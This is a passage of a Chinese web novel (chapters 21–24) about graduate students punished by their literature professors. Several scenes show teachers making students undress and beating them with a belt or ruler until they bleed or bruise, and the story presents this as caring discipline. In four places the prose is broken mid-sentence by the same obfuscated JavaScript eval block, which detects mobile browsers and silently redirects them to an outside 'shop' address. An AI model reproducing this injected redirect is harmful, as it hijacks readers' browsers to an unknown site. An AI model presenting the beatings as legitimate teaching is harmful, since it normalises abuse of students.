“我知道,老师说过的嘛,没有水平的东西不要发,发出去丢人现眼,以后想起来还脸红呢!宁可不发,也不发坏的。” “你记得老师说过的话就好。”严先生放了心,又道,“说到小庄,那个孩子进步很大,我上回看他写吴梅村的文章,倒是有点意思了。” “是呢!我之前建议他研究遗民诗人,但是他说觉得二臣更有意思,后来就写吴梅村去了,听说纪老师看了他的文章,说就题目还看得过去。” 严先生无奈地摇摇头:“纪慎啊,遇到什么学生,说到底也是缘分。他对小庄这么严厉,我看小庄也是伤心的,成日打不起精神,哪像你和阅冬?阅冬么,昭阳又宠得太过了,有时候有些没规矩了,不知道以后怎么样呢!” “老师别操心人家了,我连文章还没写出来呢!” 严先生眼带笑意:“你不用急,你什么底子,老师清楚得很。” 刘巍思“嘿嘿”傻笑一阵,埋头吃饭去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590819|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说柏阅冬,为了能在四月的学术会议上读论文,可谓费尽心机。先是找了刘巍思,被刘巍思拒绝之后,又回去一通怂恿庄遂平,劝说庄遂平把之前的一篇文章投了,没两天就收到期刊的录用通知,两人高兴得出去吃了一顿。末了他还打听到,严先生会请纪老师帮忙审稿,决定哪些论文会在会议上露面。 要说别的事情,柏阅冬肯定就不管了,可这是他大展身手的好机会,根本不可能放过,于是屁颠屁颠就到纪慎那里去了。 纪慎见到他,万分意外,含笑道:“还以为你以后不敢到我这里来了。” 柏阅冬自然想起在这里挨打的事,脸微微红了些,脚却“蹭蹭蹭”往纪老师身边挪:“老师,我想求您个事。” “说。” 柏阅冬搓搓手,道:“我听说,严老师的学术会议,会请您帮他审稿,对吧?” 纪慎笑了声:“你小子,消息挺灵通啊!” “那,您给我走个后门呗,哎,不是走后门,就多一眼我的文章。” 纪慎眉头一蹙,斜眼睨着小孩:“你要参加?” “不可以吗?只要有文章,都可以投啊!” “你投哪一篇?” 柏阅冬一听,这不有戏了吗?忙道:“就是您看过的那篇,是不是写得还行?上去读,也不丢人吧?”见纪慎没有反应,柏阅冬有点慌,不由分说抓了他的胳膊,“老师,求您了,给我个机会,有什么问题我一定改,老师!” 纪慎微微抬头,淡淡地看着他,柏阅冬原本满脸写着撒娇,又在老师的注视下变成了哀求,最后简直可怜兮兮,仿佛面前的人一摇头他就能从三楼跳下去一样。 于是纪慎轻轻点了点头。 “老师最好啦!”柏阅冬喜出望外,好像忘了面前的人前段时间才把他屁股打肿一样,俯下身用力抱了他一下,完全没注意到纪慎的身体都僵了。 “老师,我回去就抄文章来给您,您答应我的啊,不许食言!”柏阅冬简直语无伦次,“我最喜欢纪老师啦!” 纪慎简直拿他没办法,由着他在办公室里鬼叫了好一阵,恨不得让全世界的人都知道这个消息。最后闹够了,纪慎一巴掌抽在他屁股上,赶他走:“快走!烦死了!” 柏阅冬不羞也不恼,咧嘴笑道:“那我回去啦,纪老师再见!”出门的时候还一蹦一跳的。 可是蹦跶几下,才到门口就撞见迎面而来的庄遂平,柏阅冬的笑顿时僵了:“遂平,你来找纪老师?” 庄遂平也有些愣,到底是第一次见到别人从老师办公室里出来可以这么高兴。 “那个,老师在里面,你去吧,我先走了。” 庄遂平点点头,看着他离开,随后“咚咚”两下,推开了虚掩着的门。 外面的雪光像扇子一样打开,照亮了门后的空间。庄遂平一抬眼,看见老师满脸的笑容在对上他视线的一瞬间消失殆尽。 “老师。” 纪慎冷淡道:“进来吧。” 21. 第 21 章 将近一个学期,庄遂平是第一次见到纪慎开心地笑。有时候上课,纪慎批评他们的时候也会轻笑冷笑,但是庄遂平分得出来,他的笑里有没有温度。 这么高兴,是因为阅冬吗?庄遂平想到阅冬刚刚喜笑颜开的模样,仿佛他们才是师生,刚刚结束了一场有趣的对话。 这样的场景,他大概不会有吧? “什么事?” 庄遂平收回思绪,上前几步,恭恭敬敬道:“老师,有件事要和您说。我前段时间把上次那篇文章投到一个学报去了,已经来录用通知了。” 庄遂平小心翼翼地抬着眼皮,不动声色地观察老师的神情。其实文章投过去的时候他也没抱太大希望,毕竟被批评了这么久,早就没了信心,可是学报竟然录用了,他竟然能发表文章了,这让他大感意外,不由得想,也许自己没有这么差的。 今天来告诉纪慎,一是要向老师汇报自己的动态,二是想看看老师的反应。 也许,老师也会因此对他改观吧,觉得他不是那么扶不上墙。 可是纪慎的眉头却慢慢皱了起来,目光冷似雪:“你投稿了?” 语气中没有太多高兴,反倒是疑惑和震惊,庄遂平心底闪过一丝不安,却只能强作镇定:“是。” “谁允许你投的稿?” 庄遂平被一盆冷水从头浇到尾,全身僵硬不敢动弹:“我……我已经给老师看过了……” “我让你投了?” 庄遂平垂在身侧的手指一蜷,脑海中一句话沉沉地压下来——他做错事了。 “对不起,老师,我以为您看过了就可以……” “你自己写的文章什么水平,心里没有数吗?这样发出去,不怕惹人笑话!”最后两个字加重了语气,明显是生气了。 庄遂平垂着脑袋,不敢说话。 纪慎撑着扶手起身,缓缓踱步到他身边:“庄遂平,你眼里没有我这个老师。” 庄遂平一惊,猛然抬头,恐慌地看着眼前人。他的心里怎么会没有老师?怎么敢没有老师?他分明是,想得到老师肯定的! “看来,我之前给你的教训不够深刻。” 庄遂平还呆愣着,手腕却被抓住了,脚下一踉跄,已是歪扭着到了白墙前,那不受自己控制的手被粗暴地按到墙面上。 “撑着,裤子脱了。” 不在书桌前,而是面对着墙壁,颇有些面壁思过的意味。陌生的方式让庄遂平动作慢了许多,也没有去想,他会怎么被罚。 在老师面前褪裤受罚是常事,一个学期过去,他已经不会扭捏和抗拒,只是仍然一次次期盼着责罚之后片刻的温和,他甚至愿意受更重的罚,只要老师会关心他一句,肯定他一句,哪怕一句也好。 可是,好像从来没有。不,没有好像,确实从来没有。 庄遂平心如一潭死水,平静地褪下裤子,完整地露出受罚的部位,双手撑回了墙上。 没有提醒,只有“咻”的破风声,随后“啪”一声巨响,抽得庄遂平两腿一软,几乎跪了下去。 好疼……庄遂平勉强着撑好,用力呼吸着,感受着身后油泼一般的剧痛,仿佛一下就抽掉了他一层皮,猜测着老师在用什么打他。 不是戒尺,戒尺没有这么疼,也没有这么大的受力面积。 “咻啪!” “呃……”有了第一次的心理准备,庄遂平没有坏姿势,只是两手指尖屈起,随时会嵌进墙里面似的。 他低着头,从□□望过去,隐约看到责打他的工具,是条皮带。 “咻啪!” 庄遂平很快习惯了皮带落下时扒皮的疼痛,没有再叫出声,只是双眼一闭,五官皱成一团,强忍了下来。挨了几下皮带的臀部已是一片绯红,均匀地铺散在皮肤上,若忽略这皮肉的疼痛,倒可以说一句好看。 纪慎卷着皮带,扬起又落下,不过一两分钟,已是三四十记皮带抽落,每一记都兜着风,狠戾地甩在学生的臀部,将好好的两团肉打得高高肿起,深红一片。 “咻啪!”“你也不必在这里委屈,你去问问别人,谁敢不经过老师同意就自己投稿?!” 两团肉在皮带的蹂躏下颤抖不已,连带着两条腿也不住轻颤,庄遂平早就湿了眼眶,下唇也咬得发麻:“对不起,老师,我知道错了……” “咻啪!”“知道错了就给我好好受着,把你那些小心思都收起来!” 庄遂平脖颈一仰,硬生生把快要淌下的泪水倒了回去,咬牙道:“是。” “咻啪!” “咻啪!” “咻啪!” 皮带接二连三抽下去,大约又落了二十来记,将臀尖一处抽破了皮,缓缓冒出血点。纪慎瞧了一眼,不动声色地收了皮带:“起来吧,小惩大诫,再有下次,你也不必来我这里受罚,我教不起你这样的学生!” 庄遂平身体一软,整个靠墙歪着,说不出话来。老师这是什么意思? “快放假了,你也别急着回去,该学的东西还很多。” 庄遂平不敢反驳,只得压下心中的不悦,低声应道:“是。” 皮带带来的疼痛还是很持久的,庄遂平慢慢走到楼下,臀上还是传来一阵阵热辣的疼痛。刚出学院不远,就看到易堂生和刘巍思两人手里提着东西迎面走来。刘巍思远远见了他,挥手打招呼:“遂平!” 庄遂平强撑着笑了笑,走上去打招呼:“易老师好。” 易堂生上文学史课时庄遂平来旁听过,交流过几次,对他印象很好,笑道:“你不用叫我老师,跟巍思一样叫师兄就好。” 庄遂平疼得难受,没有什么心思纠缠这些,顺从道:“师兄。” “巍思准备回家了,我带他去买了点东西,你呢?什么时候回去?”易堂生关心道。 放假在即,不少学生都在准备回家,离家远的去火车站买票,离家近的收拾行李,相互讨论着家乡过年的习俗,约着来学校的时候带土特产。但是庄遂平自知他是不配参与这些事的,只道:“我还要留下来学习,可能晚一些再回家。” 易堂生赞赏地点点头,又盯着刘巍思道:“你看看人家,谁像你一天到晚说回家?” 刘巍思不服,当即反驳:“又不是我说,是老师说我暑假在家时间短,让我早点回去的!” “还说!” 刘巍思干脆扭头过去,不说话了。易堂生又问了庄遂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590820|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平一些学习的事情,才告别离开。 易堂生带着刘巍思回到严先生那儿,一进门便呵斥着让师弟跪到墙角去反省,刘巍思气冲冲地放下东西,赌气跪了。 严先生见了,问:“小孩子又干什么了?” 易堂生把买回来的东西收拾得整整齐齐,道:“老师,您别担心,我看巍思这段时间心思不放在学习上,回来路上说他两句,他有点闹脾气了,让他跪着反省反省,也好静静心。” 严先生看着小孩倔强的背影,不由得笑了笑,也不管他,只问易堂生:“东西都给他买齐了没有?” “老师吩咐的,都买了,另外给他买了件新毛衣。” 严先生看了看,笑道:“你这个大师兄,心疼他,又非得一天到晚打打骂骂的,小心他以后都不记你的好。” 易堂生面容严肃,道:“我是师兄,心疼他是应该的,教训他也是应该的,他要是为着我打他罚他怨我,我也没有办法。” “你这个人啊!”严先生摇了摇头,很无奈似的,“带他出去一天,你也累了,回去歇着吧,快过年了,你家里事情也多,别整天耗在我这里。” 易堂生点点头:“嗯,我先回家去看看,过年的时候我来陪老师吃饭。” “行了,快回去吧,自己的家是最要紧的。”严先生说着送他出了门,看着他下楼,才返回来叫刘巍思,“好了,你大师兄走了,起来吧。” 刘巍思十分谨慎,左右观察,确定大师兄不在了,立马起身追着老师爬上沙发,气嘟嘟的跟个河豚一样。 严先生只觉好笑:“你大师兄就这脾气,你也别怨他,跪这一会,跪不坏。” 刘巍思歪在老师身上,道:“我不跟他计较。” 二十几岁的人了,还是一副孩子模样,严先生忍不住揉了揉他的脑袋,怜爱非常。 “对,我后天的飞机,直接走了,我知道啦!我要不是看在您的份上,我才不帮她!哎……”柏阅冬一分神,没听清电话那头说了什么,却急匆匆要挂,“师父,遂平回来了,我不跟您说了,再见!”柏阅冬挂了电话,穿过长长的走廊追着前面熟悉的身影,只见庄遂平一瘸一拐,垂着头进了寝室,十分丧气。 柏阅冬后天早上就要直接飞去欧洲跟家人团圆,早收拾好了行李,洋气的小皮箱子立在床边,提醒着庄遂平寒假的到来。 “遂平!”柏阅冬追进来,“我刚刚在外头打电话,看见你了……你怎么了?” 庄遂平有气无力地趴在床上,缓缓摇了摇头。 柏阅冬已经猜到了,问:“要不要给你看一下?” 还是摇头。 “那,那你歇会吧,你饭盒在哪儿呢?我去帮你打饭回来。” “不用了,”庄遂平总算出了声,“我吃不下。” 柏阅冬叹声气,道:“那你有什么不舒服的要告诉我啊!” 庄遂平点点头,慢慢闭上了眼。柏阅冬在他床边站了一会,转头看书去了。 两天后,柏阅冬离开学校,宿舍空了一大半,再过一两天,宿舍几乎全空了,平日拥挤的走廊,此时几乎可以当跑道用。庄遂平孤孤单单地抱着书,关上宿舍门,往图书馆去了。 22. 第 22 章 待到新学期开学,冬天尚未过去,但是校园里的欢笑热闹还是令苍白天空下的城市温暖了几分。刘巍思拿着几张表,小跑着进了男寝。 放假前好不容易收拾整齐的宿舍,正在慢慢恢复之前的混乱模样,脸盆被踢到了门口,毛巾挂在床头栏杆上,一只袜子穿在脚上,另一只却不知道去哪儿了,只好大声嚷着让舍友帮找。刘巍思经过一长排形形色色的宿舍,来到柏阅冬和庄遂平的寝室门前。 柏阅冬和庄遂平两人都是昨天回到学校的,这会正在收拾行李,宿舍门没有关,只是虚掩着,刘巍思稍微一推开,探头进来:“你们都回来啦!” 柏阅冬一床的衣物,都不知道从哪里开始收拾好,见了刘巍思,笑着招手让他进来:“你快点来,我桌上有吃的。” “我不吃,”刘巍思走进来,扬扬手中薄薄的纸张,“我给你们拿成绩单来。” 柏阅冬仰头叹气,人一歪倒在床上:“为什么要一开学就说这么不愉快的事情?” “不会啊,”刘巍思把成绩单递到他们手上,“阅冬你成绩很漂亮哎,课程论文打分很高,读书汇报拿了三次优秀,还发了文章,一等奖学金没有问题的。” 那个时候读书是有国家补贴的,学生们掏钱不多,奖学金更是锦上添花,能让成绩优秀的学子过上相对体面的生活。 庄遂平看着成绩单,也不由自主放下了手里的活,有些失落道:“阅冬的成绩也比我们好太多了,巍思的课程分数也很高。” 刘巍思坐在他床上,不怎么在意这个,道:“咱俩总分是一样的,你发了篇文章,那个学报评分还挺高的,不过我老师叫我不要急着发,我也先不管了。” “哎,那你们俩能不能评上奖学金?拿了钱咱们下馆子去!”柏阅冬道。 “应该可以吧,二等或者三等,纪老师是系主任,童院长也跟我们沾亲带故的,肯定会偏心我们的。”刘巍思一摊手,“不过没拿奖学金也可以下馆子去,跟我老师说一声就行了。” “也是,你一伸手,严老师什么都给你。” 这话说得轻描淡写,一旁的庄遂平却是闷闷不乐,笑不出来。 柏阅冬从床上坐起,随手把成绩单一放,道:“也快中午了,咱们吃午饭去吧,我顺路把东西带给我师父。”说着,便“哐哐哐”收拾起桌上的东西,“我师父也是真行,让我给他女儿带这带那,我妈听说是帮老师买的,又说什么千万别问老师要钱,怕老师对我印象不好,得了吧,我不要钱他对我印象也不好啊……” 他兀自念念叨叨,刘巍思和庄遂平却听得好笑。瞧他收拾得乱七八糟的,庄遂平忍不住要去帮他,可还差两步呢,柏阅冬动作一大,扯出一把戒尺,“哐啷”掉在地上。 庄遂平弯腰拾起戒尺,看着上面的半棵柏树,有些奇怪:“你什么时候有这种东西?” “是纪……”柏阅冬咳了两声,“是别人送我的。” 庄遂平没怎么在意,正要还他,刘巍思却凑了过来,歪头看了两眼,道:“这不是纪老师的审美吗?他就最喜欢这种,半棵树,一枝花。” 庄遂平怔了一下,缓缓抬头看向柏阅冬,柏阅冬却心虚地低着头,胡乱把戒尺收了,再不说话。 庄遂平自知不该再说,勉强拉出一个笑:“那,去吃饭吧。” 去食堂的路上经过学院,柏阅冬拿东西去给秦昭阳,庄遂平也犹豫着要不要去跟纪慎打个招呼,只有刘巍思两手空空,心中无事。三人到了学院三楼,还是决定有礼貌地去跟纪慎说一声他们都到学校了,但是纪慎的办公室门没有开。 “可能去开会了吧,一开学就很多事情。”刘巍思猜测道。 柏阅冬耸耸肩:“那你们等我吧,我快去快回。” 忙碌的系主任纪老师确实如刘巍思所言,在学院会议室开会。会议人不多,只有一些学院领导和各学科负责人,正讨论着各专业奖学金名额的分配问题。以往都是按照成绩在学院排名的,但是有些专业提出异议,认为每个专业难度不一,不应该一起排名,但分专业进行排名和分配,又有人不满意,认为我们专业的学生都很优秀,为什么不能都拿一等奖学金?双方相持不下,谁也不肯让步。 讨论老半天,最后决定先各个专业进行评定,再送到学院来根据情况进行调整。会议室里的人都不年轻了,一个个不是花白头发就是道道皱纹,散会时又捶腰又揉眼的,累坏了。 “搞得越来越复杂了,这不折腾人吗?” “也是为了鼓励学生们上进嘛,折腾就折腾点吧!” “老纪,我看你们专业有点难啊,这个柏阅冬排第一没问题,你说刘巍思和庄遂平这个分一模一样,你怎么给?严先生的学生和你自己的学生,不好办吧?” 纪慎倒不觉得为难,淡淡一笑:“跟谁的学生没关系,刘巍思的成绩是实打实挣出来的,庄遂平靠的是发文章,那篇文章……”纪慎没再往下说,只是摇了摇头。 “不能这么说,人家的文章也是辛辛苦苦写的,发的好学报。不过,怎么都得卖严老师个面子是不是?你说要是刘巍思和柏阅冬并排就好解决了,你也不委屈自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590821|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学生。” 纪慎几乎笑出了声:“怕是最委屈不得的,就是柏阅冬。” 老师们三三两两地讨论着各自的学生,陆陆续续离开了学院。 奖学金的评定结果是一周后出来的。庄遂平怎么也想不明白,他明明和刘巍思一模一样的分数,等级却比刘巍思低。可说回来,也没什么想不明白的,这些事情都是掌握在老师手里的。 庄遂平几乎是莽撞地找了纪慎:“老师,为什么我的奖学金会比别人低一等?” 纪慎很忙,头也不抬地处理手上的工作:“你自己的成绩,自己最清楚。” “可是我的成绩和刘巍思是一样的。” 纪慎抬起头,道:“你觉得发了那篇文章,就可以和刘巍思一样了吗?没有经过导师同意的文章,我让你加了分,就已经是优待了。” 庄遂平想到过去种种,老师对巍思的夸赞,不知什么时候送给阅冬的戒尺,微微酸了鼻尖,竟问道:“如果是刘巍思和柏阅冬发了文章,老师是不是会觉得他们很优秀?” 纪慎眉尖一蹙,不耐烦道:“你在比什么?你要不要去问问刘巍思,如果他不经过他老师同意就发文章会怎么样?” “但是老师会觉得他们很优秀,对吗?” “庄遂平,一个学生优不优秀,大家都是看在眼里的,柏阅冬和刘巍思确实很优秀,不必我来认可,你也不用在这里跟他们一争高下。” “我只是想知道,同样的事情,如果是他们做的,老师会不会觉得做得好?” 纪慎烦躁地拍下手中的笔:“庄遂平,你什么时候才能放下这些乱七八糟的心思,好好读书?如果你的心里永远都是这些鸡毛蒜皮,那你又何必来读这个研究生?!” 一股酸气冲上鼻端,庄遂平几乎脱口而出,他就是为了摆脱许多鸡毛蒜皮才来读这个研究生的,但是他没有想到,到这里,鸡毛蒜皮的事没有减少,反而更多了。 他始终没有得到想要的东西,却让自己到了更加危险的境地。 纪慎站了起来:“你已经这么大了,如果不能控制自己的情绪,那你的生活和学习都会受影响。还是说,你一定要我用其他的手段强迫你理智?” 那柄光滑的没有任何图案和刻字的戒尺静静摆在桌边,庄遂平忽然想到柏阅冬的戒尺,不由得低头自嘲一笑,他连挨打都没有一柄好看的戒尺。 纪慎疲惫地摇了摇头:“还是想不明白就站过来,把裤子脱了,我帮你想!” 庄遂平轻轻抿了下唇,随后放弃抵抗一般,抬脚走了过去。 23. 第 23 章 庄遂平出身农村,在物质匮乏的年代,即使过了新年也是没有新衣服的。身上的衣裤一直是他冬日最常穿的那一身,蓝色大衣,灰色裤子,因为洗得太多次颜色明显变旧,膝盖、裤脚这些地方磨损严重,要是柏阅冬,肯定转头就丢了再买新的,但是庄遂平却始终穿着。 从前庄遂平是不为衣食住行自卑的,早些年读宋濂的《送东阳马生序》,总是很受感动,在心里偷偷说要做宋濂一样的人,哪怕后来和柏阅冬住在一起,也并未太过在意这些,直到他一次次在老师面前受罚。 他的不聪明令他自卑,不讨人喜欢令他自卑,没有老师的温情呵护令他自卑,到了现在,没有一身好的衣服也让他抬不起头。 脱下裤子的瞬间,他甚至在想,老师会不会嫌弃他的衣服太破旧了。 但是他不能问这些与学习无关的问题,只能机械地撑在桌上,摆好受罚的姿势,自欺欺人地想:也许老师根本不会注意到的。 冰凉的戒尺忽然贴上来,让庄遂平不受控制地抖了一下,仿佛从温暖的屋子中猝然被推入冰天雪地。 “投稿的事情之前和你说过,不会再罚你,今天打你,为的是你心不定。心定不下来,你就没办法读书、做研究,甚至是……”纪慎猛然住了口,似乎现在与他说将来的人生这样的话题太早了,便突兀地换了话,“总之,你记住今天,这几年,你的心里最重要的只能是读书,明白吗?” 庄遂平点点头:“我明白。” 纪慎不再废话,扬起戒尺,用七八分力抽下,在学生结实的臀部上烙下一道绯红痕迹。庄遂平下意识地缩了下屁股,倒吸一口凉气,随后缓缓放松下来。 戒尺再度离开又落下,“啪啪啪”地给屁股上着色,同时也慢慢升温,不过十来下,就把两团肉打得热乎。庄遂平一下下忍着,戒尺落下时总是眉心一蹙,随着数目的增加,眉心越蹙越紧,待得身后一片通红时,整张脸都皱成了包子。 这场教训不在纪慎的预料范围之内,他也没有如往常一般讲究落尺的地方和数目,只是一记记用力,落下的尺痕时而横亘两瓣屁股,时而斜穿臀部,有时甚至只责在一半屁股上,伤痕颇为凌乱。这样的责打之下,庄遂平没有乱动,始终保持着标准的受罚姿势,仿佛只要这样他就能让老师满意,殊不知,纪慎都没注意他是否乱动,满脑子都只一个想法—— 只有屁股疼着,他才会记住自己该做什么,这个屁股就该被打烂! “啪!啪!啪!”戒尺着肉声回响在安静的办公室里,几乎有了回音,只偶尔有几声抑制不住的痛呼,像是某种不敢逾越的伴奏。庄遂平感觉到身后越来越滚烫,越来越钝痛难耐,却仍不敢胡乱动作,依旧死死用力撑着。 “啪!啪!啪!”屁股被抽出了血痧,伤重的臀尖处已经泛紫,沉重的钝痛带上了针尖扎入时的刺麻,庄遂平疼得冒出泪花,低声呼痛:“呃……老师……” “啪!”纪慎一边揍打一边问:“扛不住了?” “老师……呃……疼……” “不疼我打你做什么?为了好玩吗?”纪慎说着站了起来,似乎还没有打算放过他,“撑着!” 眼底的泪花模糊了视线,庄遂平吸了吸鼻子,调整一下姿势,好让自己撑得更稳些。戒尺再次贴了上来,但庄遂平已经感觉不到凉意了,反而因为皮肉**而没有实感,仿佛戒尺不是搭载自己的屁股上,而是浮在空气中。 “庄遂平,我已经给了你一个学期时间,但你还是不知道该怎么做一个学生,我只好这样教你。往后你犯了错,我不会轻轻饶过,打疼你,甚至打哭你,都是你自找的,你心里要怨我打得重,我没有话说,我就是要往重了打,否则你根本不长记性!” 庄遂平右手一动,似乎被老师的话吓到了——往重了打是多重? “老师,要打多少?”声音里带着惊慌的颤抖。 “犯了错的学生是没有资格问这种问题的,”纪慎冷声道,“你要做的,是好好受罚,自我反省,明白吗?” 庄遂平咽下唾沫,涩声回答:“是,学生明白。” 纪慎轻笑一声,想,倒也不算不可教。 不过可教孺子在他这里也没有什么好待遇,可教就更要教,戒尺就更得用。纪慎手腕一动,用戒尺在学生浅紫色的屁股上轻拍两下当作提醒,之后便高扬起刑具,全力抽打下去。 “啊!”短促的叫声,实在是伤上加伤太疼了,庄遂平一下没忍住。 “啪!啪!”“忍不住可以叫,但不准动。” “呃……是……”不知是屁股的伤太重了还是老师下手更狠了,戒尺好像打透了厚厚的屁股,庄遂平几乎每一下都忍不住疼,身后热辣的痛感从皮肉一直渗到肌理,让他背上缓缓冒出了汗。 毫不放水的责打,不过二三十下就把整个臀部都揍成了紫红色,庄遂平虽然没有大动作,屁股却因为疼痛难耐而一直左右扭动,不敢逃,只是想让老师知道自己很疼。 前前后后打了不下一百尺,整个屁股肿起两指高,怕是穿裤子都有难度。纪慎打量几眼,还算满意地放下戒尺,问:“能记住今天的话吗?” 庄遂平眼眶湿润,额上一片细密汗珠,喘着气道:“能、能记住。” “穿上裤子。” 庄遂平这才长长出了一口气,收回手,缓缓拉上裤子。身后没有破皮,却肿得厉害,不算轻柔的布料甫一碰到,就摩擦得厉害,堪称酷刑。庄遂平不敢哭也不敢喊疼,硬生生地扛了下来,整理好衣服,直直站在一边。 纪慎重新坐下,把戒尺放回原位,看他呆愣的样子,也不知怎么回事,现在的小孩挨完打都不会说话了。 “谢罚,会吗?” 庄遂平怔了一下,不太明白老师的意思。 纪慎差点哽住,无奈地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590822|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇摇头:“谢老师责罚,会说吗?” 庄遂平微微红了脸,既羞涩也迷惑,为什么这样的事要谢呢?但是他抬眸看向老师,却发现老师一直盯着他,一直等待着他谢罚。他没有办法,抿抿唇,轻声道:“谢老师责罚。” 纪慎这才解释道:“现在不明白不要紧,将来会明白的。回去吧。” “是,老师再见。”庄遂平微微弯腰告别,转了个身,跨出一步,却扯着身后的伤,差点没掉出泪来。他咬着牙,鬼使神差地看了老师一眼,可是老师已经继续处理工作了,好像多看他一秒都是浪费时间。 庄遂平咬着嘴里的**,忍痛抬起步子,半步半步地挪出了办公室。 奖学金等级的事,倒也不止庄遂平一人在意,知道结果的刘巍思也很是不解,在家里就跟严先生埋怨起纪慎来:“纪老师为什么要这样呢?我怎么跟遂平说呀?” 严先生坐在客厅沙发上,瘦削的手扶着小茶壶缓缓摇晃:“跟小庄说,是你纪老师的事,你操心什么?奖学金,他给你,你就受着,你也没有越过什么规矩去,不用在意。” “可是我觉得这样不对,我跟遂平应该是一样的。” 严先生倒出壶里的第一泡茶,又重新倒入热水:“巍思,这没有对不对的,更何况,这是你们纪老师的考量,你不要想太多了。” “他这是陷我于不义!”刘巍思义正词严,“我要去找纪老师,让他也给我改到三等去!” 眼看学生起身了,严先生忙叫住他:“巍思!回来!” 刘巍思满脸不高兴,就跟个木头似的杵在一旁,不动。 “说什么陷你于不义,有你这么说老师的吗?”严先生喝茶的心思顿时没了,缓了好一会才语重心长道,“这些东西该怎么评都是有规则的,不是说分数一样等级就一样,你这样去找你纪老师,不是让他为难吗?再说了,你们看到结果,说明是学校定下来了的,你去找他又怎么样?他怎么给你改?都这么大个人了,还莽莽撞撞的!” “可是遂平……” “小庄有疑问,自然会去找他老师,就算你比小庄多拿了些钱,你也没有对不起他,这件事你坦坦荡荡,何必在意这么多?” 刘巍思大剌剌地盘腿坐下,道:“我是看遂平过得很拮据,虽然这点钱也不多,但是对他来说也很重要……” “你有这样的心,是好事,但是结果就是这样,没有办法。” 刘巍思忽然想到了什么,眼前一亮,道:“老师!要不我拿到钱以后再给遂平!” “如果我是小庄,就要被你气死了,你给钱算什么?施舍吗?”严先生无奈地瞪了他一眼,总觉得小孩过了个年回来就变笨了。 刘巍思泄了气,右手撑着下巴,叹气道:“那怎么办呀?” “去把戒尺拿来,”严先生指指对面的沙发扶手,“裤子脱了趴那里去,老师教你。” 24. 第 24 章 刘巍思条件反射似的就要问为什么要拿戒尺,可又一想,老师打他,每回都有理由,他不应该问老师为什么要打他,应该问自己哪里做得不对。 有些不情愿,但还是起身往书房去了。 刘巍思双手捧着戒尺出来,走到老师跟前,弯腰递到老师跟前:“老师。” 严先生把戒尺放在茶几上,道:“倒是有一段时日不曾打你了,还以为是你长大了,看来也没完全长大。” 刘巍思被老师的话说得脸上一红,不应声,默默走到沙发边,垂头褪了裤子,弯腰趴在扶手上。 这样的姿势,不可避免地托高了身后两团肉。趴伏着的刘巍思想到此时光景,更觉难堪,哑声道:“老师,我好了。” 话里不无催促之意。 但严先生不紧不慢地倒了一杯茶,小口小口啜饮完,才道:“不着急,你自己先想想。” 先想想,那岂不是要一直这样撅着?刘巍思顿时忐忑不已,别说想想了,简直按都按不住,整个躁动起来:“老师,那我、我裤子、要不……” “就这么想。”严先生抬头,眼神中是不容置疑的笃定。 刘巍思咬着下唇,一脸委屈,埋头当鸵鸟去了。 屋里有暖气,根本冷不着,但是刘巍思仍然感觉到身后凉飕飕的,就像窗户漏了一个缝,外头的寒风一丝一缕吹进来,全吹在他的屁股上,让他一阵阵发抖,抖掉一层又一层鸡皮疙瘩。 不行,好羞耻,好想穿裤子,要不捂起来,可是老师会生气,忍住啊忍住,就当不知道,反正老师不会出去说的,也没人知道,啊——要是遂平和阅冬知道了—— “刘巍思,你怎么回事啊?这么大个人光着屁股等挨打!” “哈哈哈哈哈哈好羞!” “我的天,我告诉我师父去,我师父肯定要笑死了!” 庄遂平和柏阅冬取乐的模样在脑海中挥之不去,那欢乐的笑声更是回响在耳边,让他浑身难受,心痒难耐,再次开口哀求:“老师……” 严先生缓缓叹气:“知道难受了?” 刘巍思有点迷惑,难道老师是故意让自己难受的? 严先生拿着戒尺站起来,慢慢踱步到他身侧,道:“如果你真的去找你纪老师让他改结果,或者直接拿钱给小庄,他大概就是这样的心情。” 刘巍思一惊,细想之下的确如此,不由得涌起悔意:“老师……” 